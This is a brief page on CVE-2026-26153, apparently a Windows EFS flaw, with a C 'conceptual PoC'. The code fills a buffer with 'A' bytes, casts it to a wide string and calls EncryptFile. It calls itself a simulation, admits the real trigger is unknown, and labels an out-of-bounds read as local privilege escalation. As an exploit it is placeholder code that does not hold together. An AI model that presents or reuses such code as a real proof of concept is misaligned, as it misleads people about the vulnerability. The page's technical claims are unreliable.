CVE-2026-26153 Windows EFS权限提升漏洞

/* * Conceptual PoC for CVE-2026-26153 (Out-of-bounds Read in Windows EFS) * This code demonstrates the logic to trigger the vulnerability. * Note: This is a simulation for analysis purposes. */ #include <windows.h> #include <stdio.h> void TriggerEFSVuln() { HANDLE hFile; BYTE maliciousBuffer[0x100]; DWORD bytesReturned; // Initialize buffer with specific pattern to trigger OOB read memset(maliciousBuffer, 0x41, sizeof(maliciousBuffer)); // Attempt to interact with EFS using a crafted input // In a real scenario, this would involve a specific IOCTL or API sequence printf("[*] Attempting to trigger EFS Out-of-bounds Read...\n"); // Simulated trigger point (Actual vector depends on vulnerable API) BOOL result = EncryptFile((LPCWSTR)maliciousBuffer); if (!result) { printf("[!] Exploit trigger failed or invalid parameters.\n"); } else { printf("[*] Trigger executed. Check kernel debugger for OOB access violation.\n"); } } int main() { printf("CVE-2026-26153 PoC - Local Privilege Escalation\n"); TriggerEFSVuln(); return 0; }